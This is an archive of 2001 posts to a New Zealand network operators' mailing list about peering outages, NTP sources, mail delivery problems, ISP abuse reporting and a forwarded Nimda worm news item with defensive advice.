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Actrix
by Mark Foster 17 Oct '01

17 Oct '01

Actrix dropped off the face of APE last night some time - appear to still be non routable via APE although connections outside of APE appear OK. Anyone know whats up ? Outage is over 18 hours now at my estimate... Mark. traceroute to 203.96.22.1 (203.96.22.1), 64 hops max, 40 byte packets 1 minotaur.quicksilver.co.nz (202.89.130.3) 0.235 ms 0.164 ms 0.158 ms 2 qsi1.ape.net.nz (192.203.154.28) 0.806 ms 0.540 ms 0.885 ms 3 clix1.ape.net.nz (192.203.154.8) 47.498 ms 1.832 ms 1.507 ms 4 203.97.10.38 (203.97.10.38) 1.409 ms 1.508 ms 2.63 ms 5 dts.cust.tranzpeer.net (202.180.81.66) 3.947 ms 6.40 ms 4.493 ms 6 202.180.81.1 (202.180.81.1) 4.451 ms 3.658 ms 6.702 ms 7 actrix.ape.net.nz (192.203.154.16) 72.797 ms 76.455 ms 65.769 ms 8 * * --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Xtra not accepting abuse emails???
by Lin Nah 17 Oct '01

17 Oct '01

Just read today's aardvark. I must admit I haven't had any reason recently to report abuse to xtra. Bruce reports: "Attempts to send reports to abuse(a)xtra.co.nz or security(a)xtra.co.nz now produce an automated response that says, in part: Xtra has automated the procedures for reporting allegations of abuse and security breaches involving our network or customers. From 14 August 2001, we no longer accept complaints via email. Please complete the appropriate web forms at <URL supplied>" So is that true? Lin --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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RE: Xmas outing
by Juha Saarinen 17 Oct '01

17 Oct '01

On Thu, 18 Oct 2001, Gordon Smith wrote: > Isn't IDG going to take us all out somewhere nice? > > After all, the stuff we do gives them something to write about... :-) And if IDG didn't write about the things you do, you might have a lot less to do, if you see what I mean. ;-) -- Regards, Juha --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Xmas outing
by Dean Pemberton 17 Oct '01

17 Oct '01

So did anyone have any idea (other than bartab at a bar) which needed to be considered by the group at large? Dean --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Re: Hot Cisco stuff + Various
by Donald Neal 16 Oct '01

16 Oct '01

>>> "Roger De Salis" <rdesalis(a)cisco.com> 10/17/01 01:17 >>> >Any interest in an NZNOG Xmas party in Auckland and Wellington >sponsored by a well known network vendor? >R I'd be interested. Perhaps a barbecue, if there are enough spare 827's ... - Donald Neal -- Donald Neal Mobility & Calling Platforms Network Delivery Telecom New Zealand Ltd --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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bigben.clix.net.nz and other NTP time sources
by Ben Martel 14 Oct '01

14 Oct '01

Hi all, Just to clarify a few things about bigben.clix.net.nz (which btw is a Truetime NTS90 - http://www.truetime.com/) Where is it located? On top of the CLEAR building in Takapuna, Auckland. Who operates it? The CLEAR Net Team What is the time reference? GPS Is it publicly available? Yes, in that there are no filters on it stating who can use it - but it is not designed to handle thousands of clients. This device was offered to people in NZNOG as a reference stratum 1 clock source. I suppose this meant that we expected other ISPs to sync their stratum 2 servers using it, if they wished and according to NTP ettiquite would get their user bases to sync of these stratum 2 servers. It seems to work just fine if used this way. Does that help....? ~ben =~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ Ben Martel Ph: +64 9 9124067 CLEAR Net Development Fax:+64 9 9125008 Mob:+64 21 541202 =~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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NTP time sources in NZ and Aus
by Juha Saarinen 13 Oct '01

13 Oct '01

Any recommendations as to which ones to use for either country? -- Juha Saarinen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Full wire speed not reached
by Simon Lyall 09 Oct '01

09 Oct '01

I just got an email from Cisco regarding Code Red. The only problem is that it took a little while to get to me (see the headers). Is Cisco doing _anything_ right these days? -- Simon Lyall. | Newsmaster | Work: simon.lyall(a)ihug.co.nz Senior Network/System Admin | Postmaster | Home: simon(a)darkmere.gen.nz ihug, Auckland, NZ | Asst Doorman | Web: http://www.darkmere.gen.nz ---------- Forwarded message ---------- Return-Path: <list-owner-cust-security-announce-outgoing(a)domohead.cisco.com> Delivered-To: slyallm(a)s.pop.ihug.co.nz Received: from pop.ihug.co.nz by localhost with POP3 (fetchmail-5.3.3) for slyall(a)localhost (single-drop); Wed, 10 Oct 2001 16:14:50 +1300 (NZDT) Received: (qmail 712 invoked from network); 10 Oct 2001 03:13:56 -0000 Received: from mx1-1.ihug.co.nz (HELO mx1.ihug.co.nz) (203.109.254.17) by kate.ihug.co.nz with SMTP; 10 Oct 2001 03:13:56 -0000 Received: from domohead.cisco.com [171.69.11.89] by mx1.ihug.co.nz with esmtp (Exim 3.22 #1 (Debian)) id 15r9oi-0000Wr-00; Wed, 10 Oct 2001 16:13:56 +1300 Received: by domohead.cisco.com (8.9.1/8.9.1) id RAA23537 for cust-security-announce-outgoing; Tue, 31 Jul 2001 17:36:39 -0700 (PDT) Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97]) by domohead.cisco.com (8.9.1/8.9.1) with ESMTP id RAA23529 for <cust-security-announce-proc(a)domohead.cisco.com>; Tue, 31 Jul 2001 17:36:30 -0700 (PDT) Received: from rtp-cse-422.cisco.com (rtp-cse-422.cisco.com [64.102.54.64]) by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with SMTP id f710ik502398; Tue, 31 Jul 2001 20:44:46 -0400 (EDT) From: Cisco Systems Product Security Incident Response Team <psirt(a)cisco.com> To: cust-security-announce(a)cisco.com Cc: psirt(a)cisco.com Subject: UPDATED: Cisco Security Advisory: "Code Red" Worm - Customer Impact Date: Tue, 31 Jul 2001 16:00:00 -0400 (EDT) Message-id: <200107312000.cisco-code-red-worm-pub(a)productsecurity.cisco.com> Content-Return: Prohibited Sender: owner-cust-security-announce(a)cisco.com Precedence: bulk Reply-To: Cisco Systems Product Security Incident Response Team <psirt(a)cisco.com> X-Rcpt-To:simon.lyall(a)ihug.co.nz --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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APE Problems
by Xris Brunton 09 Oct '01

09 Oct '01

Just a bell to say that there are currently intermitant problems with APE (for us and at least one other ISP we know of) Citylink are trying to figure it out with us ATM. First went down at ~17:25 came back 17:38 went down again about 5 mins ago and appears to be back again. Xris Brunton Network Engineer Ihug Engineering. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Re: Mail _From_ telecom.co.nz
by Peter Mott 08 Oct '01

08 Oct '01

At 9/10/2001 16:21, Juha Saarinen wrote: >On Tue, 9 Oct 2001, Peter Mott wrote: > > > What about telecon.co.nz > > Because its correct >Taken by someone else, I'm afraid... ># whois telecon.co.nz <snip> You missed the point entirely Juha! - PWM "Hell, there are no rules here - we're trying to accomplish something!" Thomas A. Edison --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Re: (connect to mta.xtra.co.nz[203.96.92.132]: Operation timed out)
by Ted Grenfell 08 Oct '01

08 Oct '01

AFAIK Xtra's MTA's don't handle mail for the telecom.co.nz domain so I guess your problem would be unrelated to any timeout issues with mta.xtra.co.nz At 13:10 9/10/2001, Lin Nah wrote: >On Tue, 9 Oct 2001, Juha Saarinen wrote: > > > Just wondering if anyone else is seeing the same thing today... > > mailqueue's getting fatter. > >guess that explains this (only quoting relevant bits) : > >>Date: 5 Oct 2001 02:30:35 -0000 > >>Hi. This is the qmail-send program at monkey.qsi.net.nz. > >>I'm afraid I wasn't able to deliver your message to the following > addresses. > >>This is a permanent error; I've given up. Sorry it didn't work out. > >> > >><someone1(a)telecom.co.nz>: > >>Sorry, I wasn't able to establish an SMTP connection. (#4.4.1) > >>I'm not going to try again; this message has been in the queue too long. > >> > >><someone2(a)telecom.co.nz>: > >>Sorry, I wasn't able to establish an SMTP connection. (#4.4.1) > >>I'm not going to try again; this message has been in the queue too long. > >--------- >To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz >where the body of your message reads: >unsubscribe nznog -- Ted Grenfell Network Operations Manager, Xtra Limited Mob 025 435 455; DDI 09 359 5854; Fax 09 362 8007 Level 14, Xtra Tower, 16 Kingston St, Private Bag 92028, Auckland This email is for the person(s) identified above, and is confidential to the sender and the person(s). No one else is authorised to use or disseminate this email or its contents. The email or its contents do not necessarily represent the views of Xtra Limited or Telecom. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Re: Mail _From_ telecom.co.nz
by Peter Mott 08 Oct '01

08 Oct '01

At 9/10/2001 16:00, you wrote: >On Tue, 9 Oct 2001, Juha Saarinen wrote: > > > I think both should work... > >i think telekom.co.nz should work too, but for the same reason as >quiksilver.net.nz doesn't, it won't either. > >Because its Wrong. What about telecon.co.nz Because its correct :-) - PWM "Hell, there are no rules here - we're trying to accomplish something!" Thomas A. Edison --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Mail _From_ telecom.co.nz
by Donald Neal 08 Oct '01

08 Oct '01

Hmmm. Mail sent from telecom.co.nz to quiksilver.co.nz bounces: The Postfix program <USERNAME(a)quiksilver.co.nz>: host mx1.qsi.net.nz said: 553 sorry, that domain isn't in my list of allowed rcpthosts (#5.7.1) That won't help finding any problem at this end. - Donald Neal -- Donald Neal Mobility & Calling Platforms Network Delivery Telecom New Zealand Ltd --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Re: Mail _From_ telecom.co.nz
by Mark Foster 08 Oct '01

08 Oct '01

You wouldnt *believe* how often people get that one wrong. :P Thanks for all the assistance, the ECN thing was right on the money... problem solved, if only because the mail server in question is now defunct and replaced with one on a different machine. Cheers All, Mark. At 15:51 9/10/01 +1300, Juha Saarinen wrote: >On Tue, 9 Oct 2001, Matt Camp wrote: > > > > > Pssst... Don, try quiCksilver.co.nz :) > >I think both should work... > >-- > > > > >Regards, > > >Juha > >--------- >To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz >where the body of your message reads: >unsubscribe nznog --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Re: (connect to mta.xtra.co.nz[203.96.92.132]: Operation timedout)
by Donald Neal 08 Oct '01

08 Oct '01

Lin, I'm getting email to a telecom.co.nz address without any unusual delay. - Donald Neal -- Donald Neal Mobility & Calling Platforms Network Delivery Telecom New Zealand Ltd >>> "Lin Nah" <lin(a)darkmere.gen.nz> 10/09/01 01:10 >>> On Tue, 9 Oct 2001, Juha Saarinen wrote: > Just wondering if anyone else is seeing the same thing today... > mailqueue's getting fatter. guess that explains this (only quoting relevant bits) : >>Date: 5 Oct 2001 02:30:35 -0000 >>Hi. This is the qmail-send program at monkey.qsi.net.nz. >>I'm afraid I wasn't able to deliver your message to the following addresses. >>This is a permanent error; I've given up. Sorry it didn't work out. >> >><someone1(a)telecom.co.nz>: >>Sorry, I wasn't able to establish an SMTP connection. (#4.4.1) >>I'm not going to try again; this message has been in the queue too long. >> >><someone2(a)telecom.co.nz>: >>Sorry, I wasn't able to establish an SMTP connection. (#4.4.1) >>I'm not going to try again; this message has been in the queue too long. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Re: (connect to mta.xtra.co.nz[203.96.92.132]: Operation timed out)
by Simon Byrnand 08 Oct '01

08 Oct '01

At 01:58 PM 9/10/01 +1300, you wrote: >On Tue, 9 Oct 2001, Craig Whitmore wrote: > >> enabled by default???? (Which Distro??) > >IIRC on the pukka kernels from kernel.org. RHL and Mandrake have it. > >> cat "0" > /proc/sys/net/ipv4/tcp_ecn (works as well) > >Boooooh... hackish. ;-) That would actually be echo "0" > /proc/sys/net/ipv4/tcp_ecn And whats wrong with echoing stuff to /proc anyway ? :) Regards, Simon --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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(connect to mta.xtra.co.nz[203.96.92.132]: Operation timed out)
by Juha Saarinen 08 Oct '01

08 Oct '01

Just wondering if anyone else is seeing the same thing today... mailqueue's getting fatter. Cheers, -- Juha Saarinen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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tall pointy thing
by Joe Abley 05 Oct '01

05 Oct '01

I hadn't looked at this for a while: http://maggie.automagic.org/graphs.html Looks like there was an event of note on September 18. It looks like routes from a big chunk of the net outside NZ started being counted, probably due to my inadequate criteria for judging a prefix to be "within NZ". The fact that it only lasted for a day is weird, though. Anybody happen to remember an event on September 18 which involved them getting transit from someone unexpected for a brief period? Someone who peers in the US with someone who leaked, maybe? Just out of interest :) Joe --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Off Topic - Lotus Word Pro 7
by Russell Sharpe 04 Oct '01

04 Oct '01

Does anyone have access to Lotus Word Pro 7. I have a friend who has suffered a laptop meltdown, and urgently needs to convert her thesis from WP to Micro$soft Word or RTF. Can some please offer a confidential solution. Regards Russell Sharpe --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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The New Zealand Network Operators' Group
by Donald Neal 04 Oct '01

04 Oct '01

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Re: adding unix users through web interface.
by John Lynch 03 Oct '01

03 Oct '01

At 01:39 PM 10/3/2001 +0000, you wrote: >I'm sorry I'm not exactly willing to let go of the script. Part of what >we do at Net4U is Linux System Administration. Our time is charged out >for. Let me know. Thought that might be the case, think I'll continue to write my own script, using the advice of Simon and a off list Tip from Richard Bain think I am almost there ...... Thanks for ya time anyway. >Regards, > >Sahil Gupta >NET4U Limited > >------------------------------------ > NET4U -- www.net4u.co.nz > Home of the new - $24.95 128k ADSL >Nationwide Internet Service Provider >------------------------------------ > >On Wed, 3 Oct 2001, John Lynch wrote: > > > At 01:14 PM 10/3/2001 +0000, you wrote: > > >hehehe :) Hmm... Okie Dokie.. The scripts are quite nice.. however, they > > >require certain the newusers binary :) > > > > cool, can they be sent as an attachment ??? > > > > > > >Regards, > > > > > >Sahil Gupta > > >NET4U Limited > > > > > >------------------------------------ > > > NET4U -- www.net4u.co.nz > > > Home of the new - $24.95 128k ADSL > > >Nationwide Internet Service Provider > > >------------------------------------ > > > > > >On Wed, 3 Oct 2001, John Lynch wrote: > > > > > > > At 01:05 PM 10/3/2001 +0000, you wrote: > > > > >:) What is in it for me to release the code ? :) > > > > The knowledge that you have contributed to the open source caring and > > > > sharing community, that I am sure you have taken from in the past > (Unless > > > > you a windows victim!!). > > > > > > > > >Regards, > > > > > > > > > >Sahil Gupta > > > > >NET4U Limited > > > > > > > > > >------------------------------------ > > > > > NET4U -- www.net4u.co.nz > > > > > Home of the new - $24.95 128k ADSL > > > > >Nationwide Internet Service Provider > > > > >------------------------------------ > > > > > > > > > >On Wed, 3 Oct 2001, John Lynch wrote: > > > > > > > > > > > At 01:01 PM 10/3/2001 +0000, you wrote: > > > > > > >John, > > > > > > >I have a lovely script available. Contact me privately if you > > > > > > >like. Infact my script also allows people to add Virtual Hosts :) > > > > > > > > > > > > sound's good to me !!! > > > > > > > > > > > > > > > > > > >Regards, > > > > > > > > > > > > > >Sahil Gupta > > > > > > >NET4U Limited > > > > > > > > > > > > > >------------------------------------ > > > > > > > NET4U -- www.net4u.co.nz > > > > > > > Home of the new - $24.95 128k ADSL > > > > > > >Nationwide Internet Service Provider > > > > > > >------------------------------------ > > > > > > > > > > > > > >On Wed, 3 Oct 2001, John Lynch wrote: > > > > > > > > > > > > > > > Hi people, I am trying to write some php3 code to add > dialup users > > > > > to the > > > > > > > > unix passwd file, > > > > > > > > I am issuing the system command to run useradd , this > didn't work > > > > > because > > > > > > > > you need root permissions to running the command, so I > thought, > > > hmm > > > > > i'll > > > > > > > > just build a wrapper and run it suid root (probable very > bad, but > > > > > > > anyway..) > > > > > > > > Now the wrapper get's the error cannot get file lock on > > > > > /etc/passwd. Any > > > > > > > > tips on why this might be happening or a better way to > solve to > > > problem > > > > > > > > would be much appreciated. > > > > > > > > > > > > > > > > > > > > > > > > John Lynch > > > > > > > > System Administrator (string and tape specialist) > > > > > > > > Wise Net > > > > > > > > > > > > > > > > --------- > > > > > > > > To unsubscribe from nznog, send email to > > > majordomo(a)list.waikato.ac.nz > > > > > > > > where the body of your message reads: > > > > > > > > unsubscribe nznog > > > > > > > > > > > > > > > > > > > > John Lynch > > > > > > System Administrator (string and tape specialist) > > > > > > Wise Net > > > > > > > > > > > > > > John Lynch > > > > System Administrator (string and tape specialist) > > > > Wise Net > > > > > > > > > >--------- > > >To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz > > >where the body of your message reads: > > >unsubscribe nznog > > > > John Lynch > > System Administrator (string and tape specialist) > > Wise Net > > John Lynch System Administrator (string and tape specialist) Wise Net --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Re: adding unix users through web interface.
by John Lynch 03 Oct '01

03 Oct '01

At 01:05 PM 10/3/2001 +0000, you wrote: >:) What is in it for me to release the code ? :) The knowledge that you have contributed to the open source caring and sharing community, that I am sure you have taken from in the past (Unless you a windows victim!!). >Regards, > >Sahil Gupta >NET4U Limited > >------------------------------------ > NET4U -- www.net4u.co.nz > Home of the new - $24.95 128k ADSL >Nationwide Internet Service Provider >------------------------------------ > >On Wed, 3 Oct 2001, John Lynch wrote: > > > At 01:01 PM 10/3/2001 +0000, you wrote: > > >John, > > >I have a lovely script available. Contact me privately if you > > >like. Infact my script also allows people to add Virtual Hosts :) > > > > sound's good to me !!! > > > > > > >Regards, > > > > > >Sahil Gupta > > >NET4U Limited > > > > > >------------------------------------ > > > NET4U -- www.net4u.co.nz > > > Home of the new - $24.95 128k ADSL > > >Nationwide Internet Service Provider > > >------------------------------------ > > > > > >On Wed, 3 Oct 2001, John Lynch wrote: > > > > > > > Hi people, I am trying to write some php3 code to add dialup users > to the > > > > unix passwd file, > > > > I am issuing the system command to run useradd , this didn't work > because > > > > you need root permissions to running the command, so I thought, hmm > i'll > > > > just build a wrapper and run it suid root (probable very bad, but > > > anyway..) > > > > Now the wrapper get's the error cannot get file lock on > /etc/passwd. Any > > > > tips on why this might be happening or a better way to solve to problem > > > > would be much appreciated. > > > > > > > > > > > > John Lynch > > > > System Administrator (string and tape specialist) > > > > Wise Net > > > > > > > > --------- > > > > To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz > > > > where the body of your message reads: > > > > unsubscribe nznog > > > > > > > > John Lynch > > System Administrator (string and tape specialist) > > Wise Net > > John Lynch System Administrator (string and tape specialist) Wise Net --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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adding unix users through web interface.
by John Lynch 02 Oct '01

02 Oct '01

Hi people, I am trying to write some php3 code to add dialup users to the unix passwd file, I am issuing the system command to run useradd , this didn't work because you need root permissions to running the command, so I thought, hmm i'll just build a wrapper and run it suid root (probable very bad, but anyway..) Now the wrapper get's the error cannot get file lock on /etc/passwd. Any tips on why this might be happening or a better way to solve to problem would be much appreciated. John Lynch System Administrator (string and tape specialist) Wise Net --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Update on TelstraSaturn problem
by PhoneNet 27 Sep '01

27 Sep '01

Ok Folks...thanks to those who responded with suggestions... Techs have since been in touch and identified our fault report had not been correctly recorded somewhere along the line... some hardware has been replaced (external to our system) and we appear to be cruising along quite happily... So credit where credit's due to techs from both TelstraSaturn and Citylink.... Ian Cousins PhoneNet --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Breakdown in TelstraSaturn systems?
by PhoneNet 27 Sep '01

27 Sep '01

Anyone else having serious packet loss problems and who is using Netlink (TelstraSaturn) in Wellington? We've had failry consistent 30% packet loss since the weekend (when we lost all contact with the world for 4 hours and have had no reply from TelstraSaturn about what happened) yet this morning that has dropped back to 2% loss. I've replaced the NICs in our router and got the same packet loss result (damn it had been running 249 days 24/7 without a blip) so started checking further afield for problems... pinging our router from my home (on 56k modem) showed 18-29% packet loss, pinging the next IP out (our IP connection at Netlink) showed a 0% loss so I figured the problem lies between them and us somewhere.... then this morning everything seems to have sorted itself out.... Any comments? Ian Cousins PhoneNet --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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FW: [Oz-ISP] Nimda rides again
by Philip Beckmann 27 Sep '01

27 Sep '01

fyi (if you're not on Oz-ISP list or can't be bothered filtering it :) Regards, Phil > -----Original Message----- > From: Dale Clapperton [mailto:dale(a)tdce.com.au] > Sent: Friday, 28 September 2001 10:54 AM > To: aussie-isp(a)aussie.net; isp-australia(a)isp-australia.com > Subject: [Oz-ISP] Nimda rides again > > > http://www.infoworld.com/articles/hn/xml/01/09/27/010927hnnimbda.xml?0927ale rt > > Researchers say Nimda set to propagate again > > By Deborah Radcliff, Computerworld online > September 27, 2001 10:52 am PT > > > RESEARCHERS HAVE DISCOVERED a third vector to the Nimda worm, which is > set to propagate again through e-mail at 1 a.m. ET Friday. > > "We rechecked the code base to Nimda, and we found a code set that is > supposed to respread Nimda through e-mail systems starting 10 days after > machines were first infected," said Oliver Friedrichs, director of > engineering at the Attack Registry and Intelligence Service. That service > is sponsored by SecurityFocus, a business security firm in San Mateo, > Calif. > > Ten days after first infecting machines, the worm will attempt to respread > itself through readme.exe attachments, with the same payload as its > original mail-based infection. > > The impact could be significant or minute, depending on how well the IT > community has cleaned systems and patched Microsoft IIS (Internet > Information Server) and Outlook programs. The 10-day vector will likely be > less severe than Nimda was the first time because more systems have been > patched against the vulnerabilities, Friedrichs said. > > But because Nimda has spread itself to so many places on computers, > networked systems may not have been cleaned enough to prevent widespread > mailings of the virus. Therefore, Friedrichs advised IT managers to do the > following: > > -- Double-check their patches. > > -- Make sure their anti-virus software blocks Nimda. > > -- Block executables files at the e-mail gateway. > > -- Alert users not to preview or open any attachments that say readme.exe > > > ---- > Email "unsubscribe aussie-isp" to majordomo(a)aussie.net to be removed. > The information contained in this email message may be > confidential. If you > are not the intended recipient, any use, distribution, disclosure > or copying > of this information is prohibited. If you receive this email in error, > please tell us by return email and delete it and any attachments from your > system. > --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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[rachel@plur.net: (fwd) [Oz-ISP] USG takes control of xpnder off PAS-2]
by Joe Abley 27 Sep '01

27 Sep '01

Whole new levels of inter-list forwarding lameness, here! Interesting, though. Anybody here have preemptable capacity which has curiously stopped functioning? ----- Forwarded message from Rachel Warren <rachel(a)plur.net> ----- Delivered-To: jabley-nanog(a)automagic.org Delivered-To: nanog-outgoing(a)trapdoor.merit.edu Delivered-To: nanog(a)trapdoor.merit.edu Delivered-To: nanog(a)merit.edu Date: Fri, 21 Sep 2001 12:59:48 -0700 From: Rachel Warren <rachel(a)plur.net> To: nanog(a)merit.edu Subject: (fwd) [Oz-ISP] USG takes control of xpnder off PAS-2 User-Agent: Mutt/1.2.5i Organization: Taco Bell, The Mexican Phone Company Precedence: bulk Errors-To: owner-nanog-outgoing(a)merit.edu X-Loop: nanog I thought this might interest NANOG: ---------- Forwarded message ---------- Date: Fri, 21 Sep 2001 18:11:39 +1000 (EST) From: Terence <terry(a)tdce.com.au> To: aussie-isp(a)aussie.net Cc: AusBONE Members <ausbone-members(a)ausbone.tdce.com.au> Subject: [Oz-ISP] USG takes control of xpnder off PAS-2 Well, there must be a big war coming up, because the US govmint just appropriated our PAS-2 transponder, effectively shutting down our regional operations on October 15. I'm more than happy for journalists to call me. I may be sympathetic to the USG over terrorism, but they can't go around putting AUSTRALIAN REGIONAL ISP's out of business... --- Terence C. Giufre-Sweetser +---------------------------------+--------------------------+ | TereDonn Telecommunications Ltd | Phone +61-[0]7-32369366 | | 1/128 Bowen St, SPRING HILL | FAX +61-[0]7-32369930 | | PO BOX 1054, SPRING HILL 4004 | Mobile +61-[0]414-663053 | | Queensland Australia | http://www.tdce.com.au | +---------------------------------+--------------------------+ Rachel -- http://www.plur.net/~rachel/misc/stock-market-nasdaq.jpg ----- End forwarded message ----- --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Way off subject but really need a photographer
by David 26 Sep '01

26 Sep '01

Hi Guys, I am in need of a photographer in Wellington for Friday and Saturday That likes Dogs. Anyone know anyone that is looking for a few days work? Must have digital camera Please reply of list. Regards David ecig.com.au --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Network Research in NZ
by Tony McGregor 26 Sep '01

26 Sep '01

Hi All The Waikato University Network Research group (WAND) is currently going through a process of reviewing its goals and we would welcome input from the New Zealand Internet community. We are currently heavily measurement focused. Projects include: o Collection and publishing of Internet header traces (see, for example, http://wand.cs.waikato.ac.nz/wand/wits/auck/4/ and http://moat.nlanr.net/pma) o Active measurement (see http://amp.nlanr.net/) o Passive measurement hardware for OC3, OC12, OC48 and 10/100 Ethernet. (see http://dag.cs.waikato.ac.nz) o Simulation and statistical modelling of Internet traffic. See some of the papers at http://wand.cs.waikato.ac.nz) Many of our activities are focused outside NZ. We have very strong links with NLANR and CAIDA (two members of our group lead the NLANR measurement projects AMP and PMA, for example). If the opportunity exists we would like to see some of the activity of the WAND team supporting the New Zealand industry through research that is interesting to us and also meets needs here. We're open to any suggestions but a couple occur immediately: o Are there parts of the New Zealand infrastructure for which it would be valuable to make passive header traces and to do analysis? o Would a NZ AMP-like system be of interest to people? (I.E. active measurement of delay, loss and path etc). If you have any suggestions, or comments, please let me have them. Thanks Tony ---------------------------------------------------------------------------- Tony McGregor Mail: T.McGregor(a)cs.waikato.ac.nz Department of Computer Science Phone: +64 7 838 4651 Waikato University Fax: +64 7 858 5095 Private Bag 3105 Home: +64 7 825 5040 mobile: (021)313004 Hamilton, New Zealand www: http://www.cs.waikato.ac.nz/~tonym ---------------------------------------------------------------------------- --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Re: Clear IP accounts for 30% of hits?
by PhoneNet 26 Sep '01

26 Sep '01

Thanks to those who replied before.... I've done some further checks nad see that 5 IP numbers account for 1272 hits on my site this month so far... whois tells me they are Clear Communications and the role of these are Clear Communications Networks Objects Maintainer? Contact address is netobjs(a)clear.net.nz so I will contact them to see what it is... but this seems a little excessive for something that "might" be checking the site still exists.... that's about 50 + hits per day..... Ian --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Clear IP accounts for 30% of hits?
by PhoneNet 24 Sep '01

24 Sep '01

Apologies if this has appeared onthe list before but I have not seen it appear.... Can anyone explain to me why the IP 203.97.10.171 accounts for over 700 hits on my site this month... it appears to be a Clear network/internet Object IP.... It accounts for almost 30% of the hits on my site! Ian Cousins --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Xtra Abuse Reports
by Mark Foster 23 Sep '01

23 Sep '01

Maybe someone from Xtra can point out to me why xtra no longer take network abuse reports via email ? security/abuse(a)xtra now autorespond with a message pointing at a website requiring a form to be filled out.. Strikes me as a huge waste of time - who the hell is going to want to dob in spammers if it now takes 4 (or more) times longer to fill in a stupid web form than it doesnt to click view-headers - forward and add comments at the top? Xtra trying to dodge their responsibilities in keeping their users in check by making life harder for those who merely want spammers off their backs? *sigh* Mark. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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RE: Xtra Abuse Reports
by Stephen Andrew 23 Sep '01

23 Sep '01

> -----Original Message----- > From: Dylan Reeve [mailto:dylan(a)wibble.net] > Sent: Monday, 24 September 2001 12:41 > To: Mark Foster > Cc: nznog(a)list.waikato.ac.nz > Subject: Re: Xtra Abuse Reports > > > On Mon, 24 Sep 2001, Mark Foster wrote: > > > Maybe someone from Xtra can point out to me why xtra no > longer take network > > abuse reports via email ? security/abuse(a)xtra now > autorespond with a > > message pointing at a website requiring a form to be filled out.. > > It's interesting, I reported someone a while ago (an IRCer with > life_stages who I figured Xtra should talk to). I got the > auto responder telling me they didn't take email. [snip] I have to admit to being pretty pissed about this as well. I tried to report an Xtra user who has been throwing SirCam at our mail servers for a week (~450 blocked at this stage) and successfully ignoring the "you have a virus you idiot" email they will have been receiving for every single one of them. First my email to abuse failed so I went to the form they suggested only to find the the "mail/news abuse" form is utterly inappropriate for this type of problem. For one thing, YTF do they want (as mandatory fields) my Xtra login and password to report abuse by one of their users? And they want a copy of the "offending" part of the email. Everything after "Content-Type: multipart/mixed; boundary=" is pretty offensive if you ask me. I would have been happy to provide them with the complete MIME encoded trojan but they only accepted the first 1500 characters of it. Does anyone know if complaints(a)xtra.co.nz is likely to get to anyone useful? If I don't get some kind of response from Xtra today I'm almost pissed enough to bounce all future offending email to help(a)xtra until they do. -- Andrew J. Stephen Phone +64 4 496 4484 Team Leader, Network Operations Mobile +64 21 2400621 New Zealand Post Fax +64 4 496 